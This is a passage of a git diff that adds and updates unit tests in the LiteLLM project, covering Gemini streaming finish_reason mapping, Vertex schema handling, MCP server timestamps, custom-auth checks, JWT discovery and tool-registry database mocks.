litellm_params={}, + ) + + assert result.id == "gs://my-bucket/path/to/file.jsonl" + + def test_should_include_bucket_in_nested_object_path(self, config): + """Verify bucket extraction works with deeply nested GCS object paths.""" + raw_response = MagicMock(spec=httpx.Response) + mock_request = MagicMock() + encoded_object = urllib.parse.quote( + "litellm-vertex-files/publishers/google/models/gemini-2.0-flash-001/abc-123", + safe="", + ) + mock_request.url = ( + f"https://storage.googleapis.com/storage/v1/b/prod-bucket/o/{encoded_object}" + ) + raw_response.request = mock_request + + result = config.transform_delete_file_response( + raw_response=raw_response, + logging_obj=MagicMock(), + litellm_params={}, + ) + + assert result.id == ( + "gs://prod-bucket/litellm-vertex-files/publishers/google/" + "models/gemini-2.0-flash-001/abc-123" + ) diff --git a/tests/test_litellm/llms/vertex_ai/gemini/test_gemini_streaming_tool_call_finish_reason.py b/tests/test_litellm/llms/vertex_ai/gemini/test_gemini_streaming_tool_call_finish_reason.py new file mode 100644 index 00000000000..3f8efd47fa3 --- /dev/null +++ b/tests/test_litellm/llms/vertex_ai/gemini/test_gemini_streaming_tool_call_finish_reason.py @@ -0,0 +1,232 @@ +""" +Tests for Gemini streaming tool call finish_reason mapping. + +Gemini returns finishReason: "STOP" even when tool calls are present. +Per the OpenAI spec, finish_reason must be "tool_calls" when the model +called a tool. The ModelResponseIterator must track tool_calls across +streaming chunks and correctly set finish_reason on the final chunk. + +Ref: https://github.com/BerriAI/litellm/issues/21041 +""" + +from unittest.mock import MagicMock + +from litellm.llms.vertex_ai.gemini.vertex_and_google_ai_studio_gemini import ( + ModelResponseIterator, +) + + +def _make_logging_obj(**kwargs): + """Create a minimal mock logging object for ModelResponseIterator.""" + logging_obj = MagicMock() + logging_obj.optional_params = kwargs.get("optional_params", {}) + return logging_obj + + +def test_streaming_tool_call_finish_reason_is_tool_calls(): + """ + When Gemini streams tool calls across two chunks: + - Chunk 1: has tool call parts, no finishReason + - Chunk 2: has finishReason="STOP", no content + + The final chunk must have finish_reason="tool_calls" (not "stop"). + """ + logging_obj = _make_logging_obj() + iterator = ModelResponseIterator( + streaming_response=iter([]), + sync_stream=True, + logging_obj=logging_obj, + ) + + # Chunk 1: tool call with no finishReason + chunk_with_tool_calls = { + "candidates": [ + { + "content": { + "parts": [ + { + "functionCall": { + "name": "get_current_weather", + "args": {"location": "Boston, MA"}, + } + } + ], + "role": "model", + }, + "index": 0, + } + ], + } + + # Chunk 2: finishReason="STOP" with no content + chunk_with_finish_reason = { + "candidates": [ + { + "finishReason": "STOP", + "index": 0, + } + ], + "usageMetadata": { + "promptTokenCount": 50, + "candidatesTokenCount": 20, + "totalTokenCount": 70, + }, + } + + # Process chunk 1 + response1 = iterator.chunk_parser(chunk_with_tool_calls) + assert response1 is not None + assert len(response1.choices) == 1 + assert response1.choices[0].delta.tool_calls is not None + assert response1.choices[0].finish_reason == "tool_calls" + assert iterator.has_seen_tool_calls is True + + # Process chunk 2 (final chunk) + response2 = iterator.chunk_parser(chunk_with_finish_reason) + assert response2 is not None + assert len(response2.choices) == 1 + assert response2.choices[0].finish_reason == "tool_calls" + + +def test_streaming_no_tool_calls_finish_reason_is_stop(): + """ + When Gemini streams a regular text response (no tool calls), + the final chunk with finishReason="STOP" should map to "stop". + """ + logging_obj = _make_logging_obj() + iterator = ModelResponseIterator( + streaming_response=iter([]), + sync_stream=True, + logging_obj=logging_obj, + ) + + # Chunk 1: text content, no finishReason + chunk_with_text = { + "candidates": [ + { + "content": { + "parts": [{"text": "Hello! How can I help?"}], + "role": "model", + }, + "index": 0, + } + ], + } + + # Chunk 2: finishReason="STOP" with no content + chunk_with_finish_reason = { + "candidates": [ + { + "finishReason": "STOP", + "index": 0, + } + ], + "usageMetadata": { + "promptTokenCount": 10, + "candidatesTokenCount": 8, + "totalTokenCount": 18, + }, + } + + # Process chunk 1 + response1 = iterator.chunk_parser(chunk_with_text) + assert response1 is not None + assert len(response1.choices) == 1 + assert iterator.has_seen_tool_calls is False + + # Process chunk 2 + response2 = iterator.chunk_parser(chunk_with_finish_reason) + assert response2 is not None + assert len(response2.choices) == 1 + assert response2.choices[0].finish_reason == "stop" + + +def test_streaming_multiple_tool_calls_finish_reason(): + """ + When Gemini streams multiple tool calls across chunks, + the final finish_reason must still be "tool_calls". + """ + logging_obj = _make_logging_obj() + iterator = ModelResponseIterator( + streaming_response=iter([]), + sync_stream=True, + logging_obj=logging_obj, + ) + + # Chunk 1: first tool call + chunk_tool_1 = { + "candidates": [ + { + "content": { + "parts": [ + { + "functionCall": { + "name": "get_weather", + "args": {"location": "NYC"}, + } + }, + { + "functionCall": { + "name": "get_time", + "args": {"timezone": "EST"}, + } + }, + ], + "role": "model", + }, + "index": 0, + } + ], + } + + # Chunk 2: finishReason="STOP" with no content + chunk_finish = { + "candidates": [ + { + "finishReason": "STOP", + "index": 0, + } + ], + "usageMetadata": { + "promptTokenCount": 50, + "candidatesTokenCount": 30, + "totalTokenCount": 80, + }, + } + + response1 = iterator.chunk_parser(chunk_tool_1) + assert response1 is not None + assert iterator.has_seen_tool_calls is True + + response2 = iterator.chunk_parser(chunk_finish) + assert response2 is not None + assert len(response2.choices) == 1 + assert response2.choices[0].finish_reason == "tool_calls" + + +def test_streaming_content_filter_finish_reason_preserved(): + """ + When Gemini returns finishReason due to content filtering (not STOP), + and no tool calls were seen, the content_filter reason should be preserved. + """ + logging_obj = _make_logging_obj() + iterator = ModelResponseIterator( + streaming_response=iter([]), + sync_stream=True, + logging_obj=logging_obj, + ) + + # Chunk with finishReason="SAFETY" and no content + chunk_safety = { + "candidates": [ + { + "finishReason": "SAFETY", + "index": 0, + } + ], + } + + response = iterator.chunk_parser(chunk_safety) + assert response is not None + assert len(response.choices) == 1 + assert response.choices[0].finish_reason == "content_filter" diff --git a/tests/test_litellm/llms/vertex_ai/gemini/test_vertex_and_google_ai_studio_gemini.py b/tests/test_litellm/llms/vertex_ai/gemini/test_vertex_and_google_ai_studio_gemini.py index 196bb00f40d..8beb19bf1ac 100644 --- a/tests/test_litellm/llms/vertex_ai/gemini/test_vertex_and_google_ai_studio_gemini.py +++ b/tests/test_litellm/llms/vertex_ai/gemini/test_vertex_and_google_ai_studio_gemini.py @@ -2130,7 +2130,7 @@ def test_reasoning_effort_dict_format_gemini_3(): assert result["thinkingConfig"]["thinkingLevel"] == "high" assert result["thinkingConfig"]["includeThoughts"] is True - # Test dict format without effort key - should fall back to Gemini 3 default (low) + # Test dict format without effort key - no thinkingConfig should be set optional_params = {} non_default_params = {"reasoning_effort": {"summary": "auto"}} result = v.map_openai_params( @@ -2139,8 +2139,8 @@ def test_reasoning_effort_dict_format_gemini_3(): model=model, drop_params=False, ) - # Gemini 3 defaults to thinkingLevel="low" when no explicit effort is set - assert result["thinkingConfig"]["thinkingLevel"] == "low" + # No effort key in dict → no thinkingConfig set + assert "thinkingConfig" not in result def test_temperature_default_for_gemini_3(): @@ -2453,8 +2453,8 @@ def test_gemini_3_image_models_no_thinking_config(): def test_gemini_3_text_models_get_thinking_config(): """ - Test that Gemini 3 text models DO receive automatic thinkingConfig. - This ensures we didn't break the existing behavior for non-image models. + Test that Gemini 3 text models do NOT receive automatic thinkingConfig + when no reasoning_effort or thinking param is provided. """ from litellm.llms.vertex_ai.gemini.vertex_and_google_ai_studio_gemini import ( VertexGeminiConfig, @@ -2462,7 +2462,7 @@ def test_gemini_3_text_models_get_thinking_config(): v = VertexGeminiConfig() - # Test gemini-3-pro-preview (text model, should get thinking) + # Test gemini-3-pro-preview (text model, no explicit thinking params) model = "gemini-3-pro-preview" optional_params = {} non_default_params = {} @@ -2474,9 +2474,8 @@ def test_gemini_3_text_models_get_thinking_config(): drop_params=False, ) - # Should have thinkingConfig automatically added - assert "thinkingConfig" in result - assert result["thinkingConfig"]["thinkingLevel"] == "low" + # Should NOT have thinkingConfig automatically added when user provides no reasoning_effort + assert "thinkingConfig" not in result assert result["temperature"] == 1.0 diff --git a/tests/test_litellm/llms/vertex_ai/test_vertex.py b/tests/test_litellm/llms/vertex_ai/test_vertex.py index 803584b5615..bd12100a88f 100644 --- a/tests/test_litellm/llms/vertex_ai/test_vertex.py +++ b/tests/test_litellm/llms/vertex_ai/test_vertex.py @@ -393,6 +393,7 @@ def test_multiple_function_call(): ], }, { + "role": "user", "parts": [ { "function_response": { @@ -498,6 +499,7 @@ def test_multiple_function_call_changed_text_pos(): ], }, { + "role": "user", "parts": [ { "function_response": { diff --git a/tests/test_litellm/llms/vertex_ai/test_vertex_ai_common_utils.py b/tests/test_litellm/llms/vertex_ai/test_vertex_ai_common_utils.py index 94323e06901..b80aa996cae 100644 --- a/tests/test_litellm/llms/vertex_ai/test_vertex_ai_common_utils.py +++ b/tests/test_litellm/llms/vertex_ai/test_vertex_ai_common_utils.py @@ -212,7 +212,7 @@ def test_build_vertex_schema(): "properties": { "state": { "properties": { - "messages": {"items": {"type": "object"}, "type": "array"}, + "messages": {"items": {}, "type": "array"}, "conversation_id": {"type": "string"}, }, "required": ["messages", "conversation_id"], @@ -226,7 +226,7 @@ def test_build_vertex_schema(): "callbacks": { "anyOf": [ {"type": "array", "nullable": True}, - {"type": "object", "nullable": True}, + {"nullable": True}, ] }, "run_name": {"type": "string"}, @@ -270,23 +270,28 @@ def test_process_items_basic(): """Test basic functionality of process_items.""" from litellm.llms.vertex_ai.common_utils import process_items - # Test empty items + # Test empty items — should preserve "any type" semantics (not coerce to object) schema = {"type": "array", "items": {}} process_items(schema) - assert schema["items"] == {"type": "object"} + assert schema["items"] == {} - # Test nested items + # Test nested items — should preserve "any type" semantics schema = {"type": "array", "items": {"type": "array", "items": {}}} process_items(schema) - assert schema["items"]["items"] == {"type": "object"} + assert schema["items"]["items"] == {} - # Test items in properties + # Test items in properties — should preserve "any type" semantics schema = { "type": "object", "properties": {"nested": {"type": "array", "items": {}}}, } process_items(schema) - assert schema["properties"]["nested"]["items"] == {"type": "object"} + assert schema["properties"]["nested"]["items"] == {} + + # Test items with actual type — should not be modified + schema = {"type": "array", "items": {"type": "string"}} + process_items(schema) + assert schema["items"] == {"type": "string"} def test_vertex_ai_complex_response_schema(): @@ -1402,3 +1407,89 @@ def test_add_object_type_does_not_add_type_when_anyof_present(): # Verify type was not added (anyOf handles the type) assert "type" not in input_schema, "type should not be added when anyOf is present" + + +def test_is_any_type_schema(): + """Test _is_any_type_schema correctly identifies unconstrained schemas.""" + from litellm.llms.vertex_ai.common_utils import _is_any_type_schema + + # Empty schema = any type + assert _is_any_type_schema({}) is True + + # Only metadata keys = any type + assert _is_any_type_schema({"description": "Any value"}) is True + assert _is_any_type_schema({"title": "MyField"}) is True + assert _is_any_type_schema({"title": "X", "description": "Y", "default": 0}) is True + + # Has type-constraining keys = NOT any type + assert _is_any_type_schema({"type": "object"}) is False + assert _is_any_type_schema({"type": "string"}) is False + assert _is_any_type_schema({"properties": {"a": {}}}) is False + assert _is_any_type_schema({"items": {"type": "string"}}) is False + assert _is_any_type_schema({"anyOf": [{"type": "string"}]}) is False + assert _is_any_type_schema({"$schema": "https://json-schema.org/draft/2020-12/schema"}) is False + assert _is_any_type_schema({"enum": ["a", "b"]}) is False + + +def test_add_object_type_preserves_any_type_schema(): + """Test add_object_type does NOT add type:object to empty schemas (any type).""" + from litellm.llms.vertex_ai.common_utils import add_object_type + + # Empty schema should be preserved (any type) + schema = {} + add_object_type(schema) + assert "type" not in schema, "Empty schema (any type) should not get type: object" + + # Schema with only description should be preserved + schema = {"description": "Any JSON value"} + add_object_type(schema) + assert "type" not in schema + + # Schema with $schema key should still get type: object (tool with no args) + schema = {"$schema": "https://json-schema.org/draft/2020-12/schema"} + add_object_type(schema) + assert schema["type"] == "object" + + +def test_convert_anyof_preserves_any_type_members(): + """Test convert_anyof_null_to_nullable does NOT coerce empty anyOf members to object.""" + from litellm.llms.vertex_ai.common_utils import convert_anyof_null_to_nullable + + # anyOf with empty schema and null — empty should be preserved + schema = { + "anyOf": [ + {}, + {"type": "null"}, + ] + } + convert_anyof_null_to_nullable(schema) + # null should be removed, empty schema should be preserved (not coerced to object) + assert len(schema["anyOf"]) == 1 + assert "type" not in schema["anyOf"][0] or schema["anyOf"][0].get("type") != "object" + assert schema["anyOf"][0].get("nullable") is True + + +def test_build_vertex_schema_jsonvalue(): + """ + End-to-end: Pydantic JsonValue generates {} in $defs. + _build_vertex_schema should preserve any-type semantics. + Regression test for https://github.com/BerriAI/litellm/issues/22391 + """ + from litellm.llms.vertex_ai.common_utils import _build_vertex_schema + + # Simulates what Pydantic generates for a model with JsonValue field + schema = { + "type": "object", + "properties": { + "name": {"type": "string"}, + "value": {}, # after $ref resolution, this is what JsonValue becomes + }, + "required": ["name", "value"], + } + result = _build_vertex_schema(schema) + + # The "value" field should NOT have been coerced to type: object + value_schema = result["properties"]["value"] + assert value_schema.get("type") != "object", ( + "JsonValue schema {} should not be coerced to {type: object}" + ) diff --git a/tests/test_litellm/proxy/_experimental/mcp_server/test_mcp_server_manager.py b/tests/test_litellm/proxy/_experimental/mcp_server/test_mcp_server_manager.py index c105052479d..acc76221cbb 100644 --- a/tests/test_litellm/proxy/_experimental/mcp_server/test_mcp_server_manager.py +++ b/tests/test_litellm/proxy/_experimental/mcp_server/test_mcp_server_manager.py @@ -2307,5 +2307,91 @@ class TestMCPServerManager: assert resolved_server.server_name == "test_server" # server_name matches +class TestMCPServerTimestamps: + """Regression tests: created_at/updated_at must be preserved, not overwritten with datetime.now().""" + + @pytest.mark.asyncio + async def test_build_mcp_server_from_table_preserves_timestamps(self): + """build_mcp_server_from_table must carry created_at and updated_at into MCPServer.""" + manager = MCPServerManager() + + created = datetime(2024, 1, 15, 10, 0, 0) + updated = datetime(2024, 6, 20, 12, 30, 0) + + table_record = LiteLLM_MCPServerTable( + server_id="ts-server-1", + server_name="ts_server", + url="https://example.com/mcp", + transport=MCPTransport.http, + created_at=created, + updated_at=updated, + ) + + mcp_server = await manager.build_mcp_server_from_table(table_record) + + assert mcp_server.created_at == created + assert mcp_server.updated_at == updated + + def test_build_mcp_server_table_preserves_timestamps(self): + """_build_mcp_server_table must use the MCPServer's stored timestamps, not datetime.now().""" + manager = MCPServerManager() + + created = datetime(2024, 1, 15, 10, 0, 0) + updated = datetime(2024, 6, 20, 12, 30, 0) + + server = MCPServer( + server_id="ts-server-2", + name="ts_server", + url="https://example.com/mcp", + transport=MCPTransport.http, + created_at=created, + updated_at=updated, + ) + + table = manager._build_mcp_server_table(server) + + assert table.created_at == created + assert table.updated_at == updated + + def test_build_mcp_server_table_none_timestamps_when_not_set(self): + """_build_mcp_server_table must return None timestamps when not set on MCPServer.""" + manager = MCPServerManager() + + server = MCPServer( + server_id="ts-server-3", + name="ts_server", + url="https://example.com/mcp", + transport=MCPTransport.http, + ) + + table = manager._build_mcp_server_table(server) + + assert table.created_at is None + assert table.updated_at is None + + @pytest.mark.asyncio + async def test_round_trip_timestamps_preserved(self): + """Timestamps survive the full round-trip: LiteLLM_MCPServerTable -> MCPServer -> LiteLLM_MCPServerTable.""" + manager = MCPServerManager() + + created = datetime(2023, 3, 10, 8, 0, 0) + updated = datetime(2023, 9, 5, 16, 45, 0) + + table_record = LiteLLM_MCPServerTable( + server_id="ts-server-4", + server_name="ts_server_rt", + url="https://example.com/mcp", + transport=MCPTransport.http, + created_at=created, + updated_at=updated, + ) + + mcp_server = await manager.build_mcp_server_from_table(table_record) + rebuilt_table = manager._build_mcp_server_table(mcp_server) + + assert rebuilt_table.created_at == created + assert rebuilt_table.updated_at == updated + + if __name__ == "__main__": pytest.main([__file__]) diff --git a/tests/test_litellm/proxy/auth/test_auth_checks.py b/tests/test_litellm/proxy/auth/test_auth_checks.py index 4cdca2d0617..ff1bc5b2581 100644 --- a/tests/test_litellm/proxy/auth/test_auth_checks.py +++ b/tests/test_litellm/proxy/auth/test_auth_checks.py @@ -1519,3 +1519,54 @@ async def test_get_fuzzy_user_object_case_insensitive_email(): assert call_args.kwargs["where"]["user_email"]["equals"] == "test@example.com" assert call_args.kwargs["where"]["user_email"]["mode"] == "insensitive" assert call_args.kwargs["include"] == {"organization_memberships": True} + + +@pytest.mark.asyncio +async def test_custom_auth_common_checks_opt_in(): + """ + Test that _run_post_custom_auth_checks only runs common_checks when + custom_auth_run_common_checks is explicitly set to True in general_settings. + + By default (False), common_checks is skipped for backwards compatibility + with custom auth flows that existed before PR #22164. + """ + from litellm.proxy.auth.user_api_key_auth import _run_post_custom_auth_checks + + valid_token = UserAPIKeyAuth(token="test-token") + mock_request = MagicMock() + + # Default (no flag) — common_checks should NOT be called + with patch( + "litellm.proxy.auth.user_api_key_auth.common_checks", + new_callable=AsyncMock, + ) as mock_common, patch( + "litellm.proxy.proxy_server.general_settings", + {}, + ): + mock_common.return_value = True + result = await _run_post_custom_auth_checks( + valid_token=valid_token, + request=mock_request, + request_data={}, + route="/ldap/ngs/ready", + parent_otel_span=None, + ) + mock_common.assert_not_called() + + # With flag=True — common_checks SHOULD be called + with patch( + "litellm.proxy.auth.user_api_key_auth.common_checks", + new_callable=AsyncMock, + ) as mock_common, patch( + "litellm.proxy.proxy_server.general_settings", + {"custom_auth_run_common_checks": True}, + ): + mock_common.return_value = True + result = await _run_post_custom_auth_checks( + valid_token=valid_token, + request=mock_request, + request_data={}, + route="/chat/completions", + parent_otel_span=None, + ) + mock_common.assert_called_once() diff --git a/tests/test_litellm/proxy/auth/test_custom_auth_end_user_budget.py b/tests/test_litellm/proxy/auth/test_custom_auth_end_user_budget.py index 73a97188424..18816dcec4a 100644 --- a/tests/test_litellm/proxy/auth/test_custom_auth_end_user_budget.py +++ b/tests/test_litellm/proxy/auth/test_custom_auth_end_user_budget.py @@ -10,9 +10,10 @@ from litellm.proxy._types import UserAPIKeyAuth @pytest.mark.asyncio async def test_custom_auth_run_post_custom_auth_checks_without_end_user_id(): - # Test backwards compatibility + # Test backwards compatibility — common_checks only runs when opt-in flag is set valid_token = UserAPIKeyAuth(token="test_token") + # Default: common_checks should NOT be called with patch( "litellm.proxy.auth.user_api_key_auth.common_checks", new_callable=AsyncMock ) as mock_common: @@ -26,6 +27,24 @@ async def test_custom_auth_run_post_custom_auth_checks_without_end_user_id(): ) assert result.token == "test_token" assert getattr(result, "end_user_id", None) is None + mock_common.assert_not_awaited() + + # With opt-in flag: common_checks SHOULD be called + with patch( + "litellm.proxy.auth.user_api_key_auth.common_checks", new_callable=AsyncMock + ) as mock_common, patch( + "litellm.proxy.proxy_server.general_settings", + {"custom_auth_run_common_checks": True}, + ): + mock_common.return_value = True + result = await _run_post_custom_auth_checks( + valid_token=valid_token, + request=None, + request_data={}, + route="/v1/chat/completions", + parent_otel_span=None, + ) + assert result.token == "test_token" mock_common.assert_awaited_once() diff --git a/tests/test_litellm/proxy/auth/test_handle_jwt.py b/tests/test_litellm/proxy/auth/test_handle_jwt.py index 3c190974277..11939f0fddd 100644 --- a/tests/test_litellm/proxy/auth/test_handle_jwt.py +++ b/tests/test_litellm/proxy/auth/test_handle_jwt.py @@ -1514,7 +1514,7 @@ async def test_resolve_jwks_url_resolves_oidc_discovery_document(): A .well-known/openid-configuration URL should be fetched and its jwks_uri returned. """ - from unittest.mock import AsyncMock, MagicMock, patch + from unittest.mock import AsyncMock, MagicMock from litellm.caching.dual_cache import DualCache @@ -1533,8 +1533,10 @@ async def test_resolve_jwks_url_resolves_oidc_discovery_document(): mock_response.status_code = 200 mock_response.json.return_value = {"jwks_uri": jwks_url, "issuer": "https://..."} - with patch.object(handler.http_handler, "get", new_callable=AsyncMock, return_value=mock_response) as mock_get: - result = await handler._resolve_jwks_url(discovery_url) + mock_get = AsyncMock(return_value=mock_response) + handler.http_handler.get = mock_get + + result = await handler._resolve_jwks_url(discovery_url) assert result == jwks_url mock_get.assert_called_once_with(discovery_url) @@ -1543,7 +1545,7 @@ async def test_resolve_jwks_url_resolves_oidc_discovery_document(): @pytest.mark.asyncio async def test_resolve_jwks_url_caches_resolved_jwks_uri(): """Resolved jwks_uri is cached — second call does not hit the network.""" - from unittest.mock import AsyncMock, MagicMock, patch + from unittest.mock import AsyncMock, MagicMock from litellm.caching.dual_cache import DualCache @@ -1562,9 +1564,11 @@ async def test_resolve_jwks_url_caches_resolved_jwks_uri(): mock_response.status_code = 200 mock_response.json.return_value = {"jwks_uri": jwks_url} - with patch.object(handler.http_handler, "get", new_callable=AsyncMock, return_value=mock_response) as mock_get: - first = await handler._resolve_jwks_url(discovery_url) - second = await handler._resolve_jwks_url(discovery_url) + mock_get = AsyncMock(return_value=mock_response) + handler.http_handler.get = mock_get + + first = await handler._resolve_jwks_url(discovery_url) + second = await handler._resolve_jwks_url(discovery_url) assert first == jwks_url assert second == jwks_url @@ -1575,7 +1579,7 @@ async def test_resolve_jwks_url_caches_resolved_jwks_uri(): @pytest.mark.asyncio async def test_resolve_jwks_url_raises_if_no_jwks_uri_in_discovery_doc(): """Raise a helpful error if the discovery document has no jwks_uri.""" - from unittest.mock import AsyncMock, MagicMock, patch + from unittest.mock import AsyncMock, MagicMock from litellm.caching.dual_cache import DualCache @@ -1591,9 +1595,10 @@ async def test_resolve_jwks_url_raises_if_no_jwks_uri_in_discovery_doc(): mock_response.status_code = 200 mock_response.json.return_value = {"issuer": "https://example.com"} # no jwks_uri - with patch.object(handler.http_handler, "get", new_callable=AsyncMock, return_value=mock_response): - with pytest.raises(Exception, match="jwks_uri"): - await handler._resolve_jwks_url(discovery_url) + handler.http_handler.get = AsyncMock(return_value=mock_response) + + with pytest.raises(Exception, match="jwks_uri"): + await handler._resolve_jwks_url(discovery_url) # --------------------------------------------------------------------------- diff --git a/tests/test_litellm/proxy/auth/test_route_checks.py b/tests/test_litellm/proxy/auth/test_route_checks.py index ec1a13b8abc..f1e96f3e660 100644 --- a/tests/test_litellm/proxy/auth/test_route_checks.py +++ b/tests/test_litellm/proxy/auth/test_route_checks.py @@ -1116,3 +1116,77 @@ def test_route_in_additional_public_routes_exact_match(): assert route_in_additonal_public_routes("/status") is True # Non-matching routes should fail assert route_in_additonal_public_routes("/other") is False + + +def test_internal_user_can_access_key_reset_spend_route(): + """ + Regression test: team admins (role=internal_user) should pass the route-level + check for /key/{hash}/reset_spend. The endpoint itself enforces team admin status. + """ + user_obj = LiteLLM_UserTable( + user_id="team-admin-user", + user_email="teamadmin@example.com", + user_role=LitellmUserRoles.INTERNAL_USER.value, + ) + valid_token = UserAPIKeyAuth( + user_id="team-admin-user", + user_role=LitellmUserRoles.INTERNAL_USER.value, + ) + request = MagicMock(spec=Request) + request.query_params = {} + + key_hash = "baec26d2901589fe9fec76610e6e2be4895cdd8e19b3ada9a4fa2eb85e1901ae" + route = f"/key/{key_hash}/reset_spend" + + # Should not raise — the route-level check must pass for team admins + RouteChecks.non_proxy_admin_allowed_routes_check( + user_obj=user_obj, + _user_role=LitellmUserRoles.INTERNAL_USER.value, + route=route, + request=request, + valid_token=valid_token, + request_data={}, + ) + + +def test_non_admin_non_team_admin_cannot_access_config_update_but_can_attempt_reset_spend(): + """ + An internal_user passes the route check for /key/{hash}/reset_spend + (authorization is deferred to the endpoint), but is still blocked from + admin-only routes like /config/update. + """ + user_obj = LiteLLM_UserTable( + user_id="regular-user", + user_email="user@example.com", + user_role=LitellmUserRoles.INTERNAL_USER.value, + ) + valid_token = UserAPIKeyAuth( + user_id="regular-user", + user_role=LitellmUserRoles.INTERNAL_USER.value, + ) + request = MagicMock(spec=Request) + request.query_params = {} + + key_hash = "baec26d2901589fe9fec76610e6e2be4895cdd8e19b3ada9a4fa2eb85e1901ae" + + # /key/{hash}/reset_spend passes the route check for internal_user + RouteChecks.non_proxy_admin_allowed_routes_check( + user_obj=user_obj, + _user_role=LitellmUserRoles.INTERNAL_USER.value, + route=f"/key/{key_hash}/reset_spend", + request=request, + valid_token=valid_token, + request_data={}, + ) + + # /config/update is still blocked + with pytest.raises(Exception) as exc_info: + RouteChecks.non_proxy_admin_allowed_routes_check( + user_obj=user_obj, + _user_role=LitellmUserRoles.INTERNAL_USER.value, + route="/config/update", + request=request, + valid_token=valid_token, + request_data={}, + ) + assert "Only proxy admin can be used to generate" in str(exc_info.value) diff --git a/tests/test_litellm/proxy/db/test_tool_registry_writer.py b/tests/test_litellm/proxy/db/test_tool_registry_writer.py index 44f9e32058a..1b1ee7afcba 100644 --- a/tests/test_litellm/proxy/db/test_tool_registry_writer.py +++ b/tests/test_litellm/proxy/db/test_tool_registry_writer.py @@ -1,6 +1,6 @@ """ Unit tests for tool_registry_writer.py — uses a mock prisma client -that exposes execute_raw / query_raw (matching the actual raw-SQL implementation). +that exposes litellm_tooltable.upsert / find_many / find_unique. """ import os @@ -13,21 +13,28 @@ import pytest sys.path.insert(0, os.path.abspath("../../..")) from litellm.proxy.db.tool_registry_writer import ( + ToolPolicyRegistry, batch_upsert_tools, get_tool, + get_tool_policy_registry, get_tools_by_names, list_tools, update_tool_policy, ) -def _make_prisma(query_rows=None): - """Return a minimal mock prisma_client with execute_raw / query_raw.""" - default_row = { +def _mock_row(**kwargs): + """Build a row-like object with real attributes (no MagicMock) for _row_to_model.""" + + class Row: + pass + + default = { "tool_id": "uuid-1", "tool_name": "my_tool", "origin": "user_defined", - "call_policy": "untrusted", + "input_policy": "untrusted", + "output_policy": "untrusted", "call_count": 1, "assignments": {}, "key_hash": None, @@ -38,31 +45,54 @@ def _make_prisma(query_rows=None): "created_by": None, "updated_by": None, } - rows = query_rows if query_rows is not None else [default_row] + default.update(kwargs) + row = Row() + for k, v in default.items(): + setattr(row, k, v) + return row + +def _make_prisma( + *, + upsert_return=None, + find_many_rows=None, + find_unique_row=None, +): + """Return a mock prisma_client with litellm_tooltable.upsert, find_many, find_unique.""" prisma = MagicMock() - prisma.db.execute_raw = AsyncMock(return_value=None) - prisma.db.query_raw = AsyncMock(return_value=rows) + prisma.db.litellm_tooltable = MagicMock() + prisma.db.litellm_tooltable.upsert = AsyncMock(return_value=upsert_return) + prisma.db.litellm_tooltable.find_many = AsyncMock( + return_value=find_many_rows if find_many_rows is not None else [] + ) + prisma.db.litellm_tooltable.find_unique = AsyncMock( + return_value=find_unique_row + ) return prisma @pytest.mark.asyncio -async def test_batch_upsert_tools_calls_execute_raw(): +async def test_batch_upsert_tools_calls_upsert(): prisma = _make_prisma() items = [{"tool_name": "tool_a", "origin": "mcp_server", "created_by": None}] await batch_upsert_tools(prisma, items) - prisma.db.execute_raw.assert_awaited_once() - call_args = prisma.db.execute_raw.call_args - sql = call_args.args[0] - assert "LiteLLM_ToolTable" in sql - assert "ON CONFLICT" in sql + prisma.db.litellm_tooltable.upsert.assert_awaited_once() + call_kw = prisma.db.litellm_tooltable.upsert.call_args.kwargs + assert call_kw["where"] == {"tool_name": "tool_a"} + assert call_kw["data"]["create"]["tool_name"] == "tool_a" + assert call_kw["data"]["create"]["origin"] == "mcp_server" + assert call_kw["data"]["create"]["input_policy"] == "untrusted" + assert call_kw["data"]["create"]["output_policy"] == "untrusted" + assert call_kw["data"]["create"]["call_count"] == 1 + assert call_kw["data"]["update"]["call_count"] == {"increment": 1} + assert "updated_at" in call_kw["data"]["update"] @pytest.mark.asyncio async def test_batch_upsert_tools_empty_list(): prisma = _make_prisma() await batch_upsert_tools(prisma, []) - prisma.db.execute_raw.assert_not_awaited() + prisma.db.litellm_tooltable.upsert.assert_not_awaited() @pytest.mark.asyncio @@ -70,123 +100,120 @@ async def test_batch_upsert_tools_skips_empty_names(): prisma = _make_prisma() items = [{"tool_name": "", "origin": None}, {"tool_name": None}] # type: ignore[list-item] await batch_upsert_tools(prisma, items) - prisma.db.execute_raw.assert_not_awaited() + prisma.db.litellm_tooltable.upsert.assert_not_awaited() @pytest.mark.asyncio -async def test_batch_upsert_multiple_tools_calls_execute_raw_per_tool(): +async def test_batch_upsert_multiple_tools_calls_upsert_per_tool(): prisma = _make_prisma() items = [ {"tool_name": "tool_a", "origin": "mcp_server", "created_by": None}, {"tool_name": "tool_b", "origin": "user_defined", "created_by": "alice"}, ] await batch_upsert_tools(prisma, items) - assert prisma.db.execute_raw.await_count == 2 + assert prisma.db.litellm_tooltable.upsert.await_count == 2 + calls = prisma.db.litellm_tooltable.upsert.call_args_list + assert calls[0].kwargs["where"]["tool_name"] == "tool_a" + assert calls[1].kwargs["where"]["tool_name"] == "tool_b" @pytest.mark.asyncio async def test_list_tools_no_filter(): - row = { - "tool_id": "id1", - "tool_name": "tool_a", - "origin": "mcp", - "call_policy": "untrusted", - "call_count": 5, - "assignments": {}, - "key_hash": None, - "team_id": None, - "key_alias": None, - "created_at": datetime.now(timezone.utc), - "updated_at": datetime.now(timezone.utc), - "created_by": None, - "updated_by": None, - } - prisma = _make_prisma(query_rows=[row]) + row = _mock_row( + tool_id="id1", + tool_name="tool_a", + origin="mcp", + input_policy="untrusted", + output_policy="untrusted", + call_count=5, + ) + prisma = _make_prisma(find_many_rows=[row]) result = await list_tools(prisma) assert len(result) == 1 assert result[0].tool_name == "tool_a" assert result[0].call_count == 5 - prisma.db.query_raw.assert_awaited_once() + prisma.db.litellm_tooltable.find_many.assert_awaited_once() + call_kw = prisma.db.litellm_tooltable.find_many.call_args.kwargs + assert call_kw["where"] == {} + assert call_kw["order"] == {"created_at": "desc"} @pytest.mark.asyncio -async def test_list_tools_with_policy_filter(): - row = { - "tool_id": "id1", - "tool_name": "blocked_tool", - "origin": None, - "call_policy": "blocked", - "call_count": 2, - "assignments": None, - "key_hash": None, - "team_id": None, - "key_alias": None, - "created_at": datetime.now(timezone.utc), - "updated_at": datetime.now(timezone.utc), - "created_by": None, - "updated_by": None, - } - prisma = _make_prisma(query_rows=[row]) - result = await list_tools(prisma, call_policy="blocked") - assert result[0].call_policy == "blocked" - call_args = prisma.db.query_raw.call_args - sql = call_args.args[0] - assert "WHERE call_policy" in sql 